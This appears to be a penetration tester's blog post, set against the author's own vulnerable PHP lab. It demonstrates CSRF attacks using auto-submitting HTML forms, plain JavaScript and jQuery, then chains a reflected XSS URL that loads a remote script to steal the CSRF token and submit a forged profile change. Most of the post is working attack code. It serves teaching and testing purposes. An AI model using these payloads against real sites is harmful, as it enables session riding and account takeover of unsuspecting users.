I’ve been procrastinating finalizing some basic research and putting my thoughts into a blog post regarding Same Origin Policy (SOP), Cross Origin Resource Sharing (CORS), Cross-Site Scripting (XSS), Cross-site Request Forgery (CSRF), and Content Security Policy (CSP). I am hoping to spend some more time on it in the next few days and get it done and off my plate. In the meantime, I decided to take a quick look at using jQuery to perform tasks I was already using standard Javascript for.
I’ll often create POCs for clients to illustrate impact when I come across web application vulnerabilities. Something like riding a user’s session via XSS and altering the application’s state in some manner. If I can, I will typically try to take over a user’s account by changing its email address and/or password. Which is, for the most part, typically a blend of XSS and CSRF.
So to kick this off, I’ll illustrate three ways to perform an unprotected CSRF attack. By “unprotected” I mean a very basic form on a page that does not require authentication or make use of a csrf token.
I’m attacking one of the pages I created in my Web Application Lab -Vulnerable PHP Scripts post. This page presents the following HTML form to clients.
<html> <body> <h2 id="title">Vulnerable Profile Change Page</h2> <p>No CSRF token is required.</p> <p>Input a new profile value.</p> <p>Profile value = </p> <form id="form1" action="/csrf_naked_post.php" method="post"> <input type="text" name="input"> <input type="submit"> </form> </body> </html>
The first way I’ll present carrying out this type of attack is through a basic HTML form that is automatically submitted via Javascript. The attack would consist of you social engineering someone into opening this page causing the victim’s browser to make a POST to the vulnerable form. Each attack will update the “profile value” to “MakeItSnow”.
<html> <body onload="document.form1.submit()"> <h1>CSRF POST Form</h1> <p>This page automatically submits data to a vulnerable form</p> <script>history.pushState('', '', '/')</script> <form name="form1" action="http://account.rhce.local/csrf_naked_post.php" method="POST"> <input type="text" name="input" value="MakeItSnow"> </form> </body> </html>
Pretty straight-forward and what you’d get when using Burp to create a CSRF POC. The resulting browser-interpreted response ends up looking like the following:
A second way to perform this attack would be through standard Javascript contained in an HTML page. I’ve worked in a final redirect for each attack from here on out. Due to the asynchronous nature of ajax (aka Asynchronous JavaScript and XML – thanks n00py) call we add logic to trigger the redirect once the request is finished. This causes a CORS violation, by the way.
<html> <body> <h1>CSRF POST via default Javscript</h1> <p>This page automatically submits data to a vulnerable form</p> <script> req1 = new XMLHttpRequest(); req1.onreadystatechange = function() { if(req1.readyState == 4) { window.location = "http://some.nice-landing-page.com"; } } req1.open('POST', 'http://account.rhce.local/csrf_naked_post.php', true); req1.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); req1.send("input=MakeItSnow"); </script> </body> </html>
Also pretty straight-forward.
A third way to go about this would be to utilize jQuery. The redirect stems from an error caused by a CORS violation.
<html> <body> <h1>CSRF POST via jQuery</h1> <p>This page automatically submits data to a vulnerable form</p> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> <script> $.ajax({ type: "POST", url: "http://account.rhce.local/csrf_naked_post.php", data: "input=MakeItSnow", error: function() { $(location).attr("href", "http://some.nice-landing-page.com") } }); </script> </body> </html>
Again, nothing too crazy going on here. Just basic CSRF attacks directed at a vulnerable form.
Next we’ll look at attacking a form that makes use of a csrf token to prevent attacks stemming from social engineering utilizing scripts hosted on a foreign origin. In other words, due to the Same Origin Policy, scripts hosted on foreign origins cannot read the responses of the target application in order to obtain the csrf token required to submit the target form.
Taken from the Web Application Hacker’s Handbook (go buy and read it!):
The same-origin policy is a key mechanism implemented within browsers that is designed to keep content that came from different origins from interfering with each other. Basically, content received from one website is allowed to read and modify other content received from the same site but is not allowed to access content received from other sites
As such, we’ll need to make use of a Cross-Site Scripting (XSS) vulnerability from the same web application (from the same origin) to attack this protected form. I’ll utilize a second page from my vulnerable PHP scripts. Social engineering is still required to initiate this attack. A victim will need to open a weaponized link to a page with Javascript included via an XSS vulnerabilty. The Javascript can be hosted from a foreign origin as it will be seen as part of the local DOM due to inclusion via XSS.
The page I’ll utilize contains several vulnerable, unfiltered inputs that allow an attacker to inject code into the page. I’ll utilize the ‘input’ GET parameter from the ‘xss_get.php’ page to attack the protected form.
The unencoded, weaponized URL utilized ends up looking like the following.
http://account.rhce.local/xss_get.php?input=foobar<script src=//sales.rhce.local/post_csrf.js></script>
The form we’re attacking ends up looking like the following. Note the csrf token.
<html> <body> <h2 id="title">Vulnerable Profile Change Page</h2> <p>Input a new profile value.</p> <p>Profile value = </p> <form id="form1" action="/csrf_post.php" method="post"> <input type="text" name="input"> <input type="hidden" name="csrf_token" value="5b8ecc64e58da"> <input type="submit"> </form> </body> </html>
The standard Javascript code contained in the first included file looks like the following. Again, each attack that follows will simply update the “profile value” to “MakeItSnow”.
req1 = new XMLHttpRequest(); req1.responseType = 'document'; req1.onreadystatechange = function() { if(req1.readyState == 4 && req1.status == 200) { resp1 = req1.response; csrf_token = resp1.getElementsByName("csrf_token")[0].value;; req2 = new XMLHttpRequest(); req2.onreadystatechange = function() { if(req2.readyState == 4 && req2.status == 200) { window.location = "http://some.nice-landing-page.com"; } } req2.open('POST', "http://account.rhce.local/csrf_post.php", true); req2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); req2.send("input=MakeItSnow&csrf_token=" + csrf_token); } } req1.open('GET', 'http://account.rhce.local/csrf_post.php', true); req1.send();
The resulting browser-interpreted response ends up looking like the following:
The second script we’ll look at utilizes jQuery. Using jQuery to perform the same attack gets a little tricky. I used a hack to include a remotely hosted library file and to make a second ajax call for the final POST request. Not the prettiest thing you’ve ever seen but it works.
function loadScript(url, callback) { // Adding the script tag to the head var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/javascript'; script.src = url; // Then bind the event to the callback function. // There are several events for cross browser compatibility. script.onreadystatechange = callback; script.onload = callback; // Fire the loading head.appendChild(script); } var doMyHacks= function() { $.ajax({ url: 'http://account.rhce.local/csrf_post.php', type: 'GET', success: function(response) { var $response = $.parseHTML(response); csrf_token = $(response).find("input[name='csrf_token']").val(); secondAjaxCall(csrf_token); } }); function secondAjaxCall(csrf_token) { $.ajax({ type: "POST", url: "http://account.rhce.local/csrf_post.php", data: "input=MakeItSnow&csrf_token=" + csrf_token, success: function() { $(location).attr("href", "http://some.nice-landing-page.com") } }); } }; jQuery = "https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"; loadScript(jQuery, doMyHacks);
And with all of this, I’ve accomplished my goal of working through some common web attacks using jQuery that I would usually leverage standard Javascript for. Perhaps a bit superfluous but a fun exercise, nonetheless. I imagine I’ll be revisiting this theme again soon in the future.
I hope you enjoyed this simple exercise. I’ll try to catch up with you again soon!